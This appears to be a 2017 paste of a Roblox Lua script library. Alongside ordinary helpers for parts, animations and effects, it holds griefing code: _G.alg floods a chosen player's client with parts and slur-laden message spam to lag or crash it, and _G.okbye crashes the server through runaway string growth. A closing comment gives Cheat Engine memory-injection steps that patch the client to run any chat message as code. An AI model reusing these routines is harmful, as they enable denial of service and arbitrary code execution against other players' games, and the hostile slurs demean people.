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Dec 22nd, 2017
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  1. -- run this first game:service'Debris':AddItem(script,0) --script:ClearAllChildren() -- �  31398059 SavedFenvs = {} for i,v in pairs(getfenv()) do SavedFenvs[i]=true end -- c/while wait() do for i=1,200 do Instance.new("Message",game.Players.Damply.PlayerGui).Text="yes" end end ins = Instance.new v3 = Vector3.new cn = CFrame.new ca2 = CFrame.Angles mf = math.floor mran = math.random mrad = math.rad mdeg = math.deg ca = function(x,y,z) return ca2(mrad(x),mrad(y),mrad(z)) end ud=UDim2.new bn = BrickColor.new c3 = Color3.new Players = game:service'Players' Lighting = game:service'Lighting' Debris = game:service'Debris' Lastqi={} qit = {} qit["n"]="Name" qit["sc"]="Size" qit["cf"]="CFrame" qit["an"]="Anchored" qit["can"]="CanCollide" qit["mat"]="Material" qit["bn"]="BrickColor" qit["mid"]="MeshId" qit["tid"]="TextureId" qit["sca"]="Scale" qit["tra"]="Transparency" qit["ref"]="Reflectance" qit["mtyp"]="MeshType" qit["P0"]="Part0" qit["P1"]="Part1" qit[""]="" qit[""]="" qit["tya"]="TextYAlignment" qit["txa"]="TextXAlignment" qit["bc3"]="BackgroundColor3" qit["tc3"]="TextColor3" qit["pos"]="Position" qit["txt"]="Text" qit["bgt"]="BackgroundTransparency" qit["txs"]="TextTransparency" qit["tst"]="TextStrokeTransparency" qit["tsc3"]="TextStrokeColor3" qit[""]="" qit[""]="" qit[""]="" C3Pro={} C3Pro['BackgroundColor3']=0 C3Pro['TextColor3']=0 C3Pro['TextStrokeColor3']=0 C3Pro['Color']=0 C3Pro['BackgroundColor3']=0 C3Pro['BackgroundColor3']=0 C3Pro['BackgroundColor3']=0 BNPro={} BNPro['BrickColor']=0 GuiClass={} GuiClass["Frame"]=0 GuiClass["TextLabel"]=0 GuiClass["TextButton"]=0 GuiClass["TextBox"]=0 GuiClass["ImageLabel"]=0 GuiClass["ImageButton"]=0 qi = function(tab) local v = ins(tab[1]) -- if v:IsA("Part") or v:IsA("WedgePart") then v.formFactor="Custom" end if v:IsA("BasePart") then v.TopSurface=0 v.BottomSurface=0 v.Locked=true end if GuiClass[v.className] then v.BorderSizePixel=0 end -- for index,element in pairs(tab) do if index~=1 and index~=2 then local index = qit[index] or index -- if C3Pro[index] and type(element)=='string' then element=bn(element).Color end if BNPro[index] and type(element)=='string' then element=bn(element) end -- if index=='Debris' then Debris:AddItem(v,element) else v[index]=element end end end if type(tab[2])=='number' then v.Parent=Lastqi[#Lastqi-tab[2]] elseif tab[2] then v.Parent=tab[2] end Lastqi[#Lastqi+1]=v if v:IsA("BasePart") then v:BreakJoints() end return v end iform=function(tab) for i,v in pairs(tab) do tab[v]=v end return tab end SetLocalPlayer = [==[ Player=Players.LocalPlayer Char=Player.Character if Char:findFirstChild("Head") or Char:findFirstChild("Torso") then else error'Player/CantFindParts' end Head=Char.Head Torso=Char.Torso Hum=Char.Humanoid Backpack=Player.Backpack PlayerGui=Player.PlayerGui ]==] q = function(f) -- quick function coroutine.resume(coroutine.create(function() f() end)) end --- the pw is my last name -2 letters + my 2012 school student id PlayerManager={} PM=PlayerManager pm=PM PM.Load = function(ta,st) local Pv local count=0 for i,v in pairs(Players:GetPlayers()) do if string.find(v.Name:lower(),st:lower()) and count==0 then Pv=v count=count+1 end end if not Pv or count>1 then return {} end local PStat={Name=Pv.Name,Age=Pv.AccountAge,v=Pv} if Pv.Character and Pv.Character:findFirstChild'Torso' then PStat.Torso=Pv.Character.Torso end if Pv.Character and Pv.Character:findFirstChild'Humanoid' then PStat.H=Pv.Character.Humanoid end PStat.Kill = function() if Pv.Character then Pv.Character:BreakJoints() end end PStat.asd = function() if Pv.Character and Pv.Character:findFirstChild'Torso' and Pv.Character:findFirstChild'Humanoid' then Pv.Character.Humanoid.Sit=true Pv.Character.Torso.CFrame=Pv.Character.Torso.CFrame*ca(45,0,0) Pv.Character.Torso.Velocity=Pv.Character.Torso.CFrame.lookVector*100 end end PStat.r=function() Pv:LoadCharacter() end PStat.Char=function() return Pv.Character end PStat.load=function() return Pv,Pv.Character,Pv.Backpack,Pv:findFirstChild'PlayerGui' end PStat.gca=function(t,naa) local Pv2=pm:l(naa).v if Pv2 then Pv.CharacterAppearance=Pv2.CharacterAppearance end end return PStat end PM.l=PM.Load --c/PlayerManager:Load'drew':asd() --c/_G.br = function() _G.brr = _G.brr and _G.brr:Remove() _G.brr = qi{'Part',workspace,an=true,FrontSurface='Hinge',cf=cn(0,6,0)} return _G.brr end Welds={} Ani=function(w,a,b,c,d,e,f,ty,inc,sined) if not Welds[w] then local d0,e0,f0=w.C0:toEulerAnglesXYZ() local d1,e1,f1=w.C1:toEulerAnglesXYZ() local d0,e0,f0=mdeg(d0),mdeg(e0),mdeg(f0) local d1,e1,f1=mdeg(d1),mdeg(e1),mdeg(f1) Welds[w]={[0]={w.C0.x,w.C0.y,w.C0.z,d0,e0,f0},[1]={w.C1.x,w.C1.y,w.C1.z,d1,e1,f1}} end local c0,c1=Welds[w][0],Welds[w][1] c0[1],c0[2],c0[3]=w.C0.x,w.C0.y,w.C0.z c1[1],c1[2],c1[3]=w.C1.x,w.C1.y,w.C1.z local A0,B0,C0,D0,E0,F0 = unpack(c0) local A1,B1,C1,D1,E1,F1 = unpack(c1) local Do = function(i) if ty==0 then w.C0=cn( A0-((A0-a)*i) , B0-((B0-b)*i) , C0-((C0-c)*i) ) * ca( D0-((D0-d)*i) , E0-(((E0-e)/1)*i) , F0-((F0-f)*i) ) elseif ty==1 then w.C1=cn( A1-((A1-a)*i) , B1-((B1-b)*i) , C1-((C1-c)*i) ) * ca( D1-((D1-d)*i) , E1-(((E1-e)/1)*i) , F1-((F1-f)*i) ) else w.C0=cn( A0-((A0-a)*i) , B0-((B0-b)*i) , C0-((C0-c)*i) ) * ca(D0,E0,F0) w.C1=cn(A1,B1,C1) * ca( D1-((D1-d)*i) , E1-(((E1-e)/1)*i) , F1-((F1-f)*i) ) end end for i=inc,1,inc do Do(sined and math.sin(math.pi/2*i) or i) wait() end Do(1) if ty==0 then c0[4],c0[5],c0[6]=d,e,f else c1[4],c1[5],c1[6]=d,e,f end end qAni=function(w,a,b,c,d,e,f,ty,inc,sined) q(function() Ani(w,a,b,c,d,e,f,ty,inc,sined) end) end rAni=function(w) Welds[w]=nil end --script/Ani(workspace.RobroxMasterDX.Torso["Left Shoulder"],-1.5,0.5,0,0,-90,0,0,0.1,true) --script/Ani(workspace.RobroxMasterDX.Torso["Left Shoulder"],0,0.5,0,0,-90,0,1,0.1) -- [ ] Sound = function(id,par,vol,pit) q(function() -- Sound maker local sou = qi({"Sound",par or workspace,Volume=vol or 1,Pitch=pit or 1,SoundId=id,Debris=4}) wait() sou:play() end) end Dmg = function(Hum,Dealt,Hitter) local HM=Hum.Parent local HMT,HMB=HM:findFirstChild'Torso',HM:findFirstChild'Block' local Blocks=HMB and HMB.Value>0 if HMT then local mm=qi{'Model',HMT,Debris=1} qi{'Humanoid',mm,MaxHealth=0} local mp= qi{'Part',mm,n='Head',an=true,can=false,sc=v3(1,0.2,1),cf=HMT.CFrame*cn(mran(-100,100)/50,3,mran(-100,100)/50)} qi{'SpecialMesh',mp} if Blocks then mm.Name='Block!' mp.BrickColor=bn'Bright blue' HMB.Value=HMB.Value-1 else mm.Name=Dealt mp.BrickColor=bn'Bright red' end end if not Blocks then Hum.Health=Hum.Health-Dealt end end GetHum = function(part) local Hum,HT,block for i,v in pairs(part.Parent:children()) do if v:IsA("Humanoid") then Hum=v elseif v.Name=='Torso' then HT=v elseif v.Name=='Block' and v:IsA("NumberValue") then block=v end end return Hum,HT,block end ray = function(Pos, Dir,tab) -- ray cast return workspace:FindPartOnRay(Ray.new(Pos, Dir.unit *999),tab) end raydist=function(Pos,Dir,tab) local hit,pos=ray(Pos,Dir,tab) return (Pos-pos).magnitude end RangeAnim=function(obj,sticks,times,speed,range,fu,ignor,isanc,nobreak,dohit) local isanc = isanc or false local sts = {} local Hit,Pos for i,v in pairs(sticks) do sts[v]=v.CFrame:toObjectSpace(obj.CFrame) end for ty=1,times do if not obj.Parent then return end obj.CFrame=obj.CFrame*cn(0,0,-speed) for i,v in pairs(sts) do i.CFrame=obj.CFrame*v end local hit,pos=ray(obj.Position,obj.Position-obj.CFrame*cn(0,0,1).p,ignor) Pos=pos fu(ty,obj,hit,pos) if hit and dohit then dohit(hit) end if (hit and hit.Name~='unray') and (pos-obj.Position).magnitude0 then q(function() f(Hum,v) end) elseif f2 and not Hum then q(function() f2(v) end) end end end) end AddBV=function(str,cfr,par,deb) if not par or not str then return end if par:findFirstChild'LibBV' then par.LibBV:Remove() end qi{'BodyVelocity',par,velocity=cfr.lookVector*str,maxForce=v3(1,1,1)*50000,Debris=deb,n='LibBV'} end AddBG=function(str,par,deb) if not par then return end if par:findFirstChild'LibBG' then par.LibBG:Remove() end qi{'BodyGyro',par,maxTorque=v3(1/0,1/0,1/0),P=100000,cframe=str,Debris=deb,n='LibBG'} end Trails={} Trail=function(obj,th,color,inc,wt,adj) local adj=adj or cn(0,0,0) Trails[obj]=1 q(function() local lastpos=(obj.CFrame*adj).p while Trails[obj] do wait(wt) local newpos=(obj.CFrame*adj).p local mag=(newpos-lastpos).magnitude local trp=qi{'Part',obj,sc=v3(0.2,0.2,0.2),an=true,can=false,bn=bn(color),cf=cn(lastpos,newpos)*cn(0,0,-mag/2)*ca(90,0,0)} local trpm=qi{'SpecialMesh',trp,sca=v3(th,mag,th)*5} local trpms=trpm.Scale lastpos=newpos q(function() for i=1,0,-inc do trp.Transparency=0.3+(0.7*(1-i)) trpm.Scale=v3(th*5*i,mag*5,th*5*i) wait() end trp:Remove() end) end end) end --c/Trail(workspace.RobroxMasterDX.Torso,0.5,'Black',0.1,0.1) MeshEffect=function(par,cf,x,y,z,inc,col,sha,adj) local adj = adj or cn(0,0,0) local mp=qi{'Part',par,sc=v3(1,1,1),bn=bn(col),cf=cf,tra=0.3,can=false,an=true,n='unray'} local ms if sha:sub(1,4)=='http' then ms=qi{'SpecialMesh',mp,mid=sha} elseif sha=='Block' then ms=qi{'BlockMesh',mp} elseif sha=='Cylinder' then ms=qi{'CylinderMesh',mp} elseif sha=='Head' or sha=='Sphere' then ms=qi{'SpecialMesh',mp,MeshType=sha} end q(function() for i=0,1,inc do mp.Transparency=0.2+(0.7*i) mp.CFrame=mp.CFrame*adj ms.Scale=v3(x,y,z)*(0.3+(0.7*i)) wait(0.03) end mp:Remove() end) end Lightning = function(par,p0,p1,tym,th,col,inc,spr) local bricks={} local cur={} local mag=(p0-p1).magnitude for i=1,tym,1 do cur[i]=cn(p0,p1)*cn(0,0,-mag/tym*i).p+v3(mran(-spr,spr),mran(-spr,spr),mran(-spr,spr)) end cur[0]=p0 cur[tym]=p1 for i=1,tym do local mag2=(cur[i-1]-cur[i]).magnitude bricks[i]=qi{'Part',par,sc=v3(0.2,0.2,0.2),an=true,can=false,bn=bn(col),cf=cn(cur[i-1],cur[i])*cn(0,0,-mag2/2)*ca(90,0,0),tra=0.3,ref=0.15} qi{'BlockMesh',bricks[i],sca=v3(th,mag2,th)*5} end q(function() for i=0,1,inc do for x,v in pairs(bricks) do v.Transparency=0.3+(0.7*i) end wait() end for i,v in pairs(bricks) do v:Remove() end end) end Reconnect=function() game:service'TeleportService':Teleport(game.PlaceId) end --Set a Table of my variables LVars = {} for i,v in pairs(getfenv()) do if not SavedFenvs[i] then LVars[i]=v end end _G.LVars = LVars for i,v in pairs(LVars) do _G[i]=v end -- loadstring hazemlaib = [==[ for i,v in pairs(_G.LVars) do getfenv()[i]=v end ]==] _G['R'..'M'..'L'..'ib']=hazemlaib _G.okbye=function() local ded=Instance.new("StringValue",workspace) for i=1,10000 do ded.Value = ded.Value .."lolllllllllllllllll".. ded.Value wait(0.03) end end _G.alg=function(nn,msg) local pp=pm:l(nn).v if not pp then return end for i=1,75 do newLocalScript([[game.Players.LocalPlayer.CameraMode=1 for i=1,100 do coroutine.resume(coroutine.create(function() while wait() do for i=1,200 do local lal=Instance.new("Part",workspace.Camera) lal.Size=Vector3.new(200,200,200) Instance.new("Fire",lal).Size=100 Instance.new("Smoke",lal).Size=3000 Instance.new("Message",workspace).Text='lefaglol' Instance.new("Hint",workspace).Text='lefaglol' end end end)) end]],pp.Character) end print('lagging'..pp.Parent.Name) local pp=pp:findFirstChild'PlayerGui' if not pp then return end while wait() do for i=1,32 do q(function() for i=1,16 do q(function() for i=1,8 do q(function() while wait() do for i=1,100 do Instance.new("Message",pp).Text=msg or 'Dont mess with me Fa�ggot.' end end end) end end) end end) end -- end end _G.alc=function(nn) pcall(function() qi{'Message',workspace,Debris=4,Text=#game:service'Players'[nn].PlayerGui:children()} end) end q(function() if Players.LocalPlayer==nil then for i,v in pairs(script:children()) do if v:IsA("StringValue") then for i,p in pairs(Players:GetPlayers()) do q(function() newLocalScript(v.Value,p.Character) end) end end end end end) --script/loadstring(_G.RMLib)() print(ins) print('libbaload') --[[ repeat wait() until game:service'Players'.LocalPlayer game:service'Players'.LocalPlayer.Chatted:connect(function(msg) Spawn(loadstring(msg)) end) 1. studio 2. ce 3. attach and mem view 4. tools> auto assem 5. alloc(newmem,2048) //2kb should be enough alloc(hax,2048) label(returnhere) label(originalcode) label(exit) hax: db 72 65 70 65 61 74 20 77 61 69 74 28 29 20 75 6e 74 69 6c 20 67 61 6d 65 3a 73 65 72 76 69 63 65 27 50 6c 61 79 65 72 73 27 2e 4c 6f 63 61 6c 50 6c 61 79 65 72 0d 0a 67 61 6d 65 3a 73 65 72 76 69 63 65 27 50 6c 61 79 65 72 73 27 2e 4c 6f 63 61 6c 50 6c 61 79 65 72 2e 43 68 61 74 74 65 64 3a 63 6f 6e 6e 65 63 74 28 66 75 6e 63 74 69 6f 6e 28 6d 73 67 29 20 53 70 61 77 6e 28 6c 6f 61 64 73 74 72 69 6e 67 28 6d 73 67 29 29 20 65 6e 64 29 newmem: //this is allocated memory, you have read,write,execute access //place your code here originalcode: call 006B7670 push b99e7c push hax push 07 mov ecx,esi call 6b7670 exit: jmp returnhere 006E156D: jmp newmem returnhere: 6. new place, command bar: Game:service'TeleportService':TeleportImpl(20279777,"") ]]
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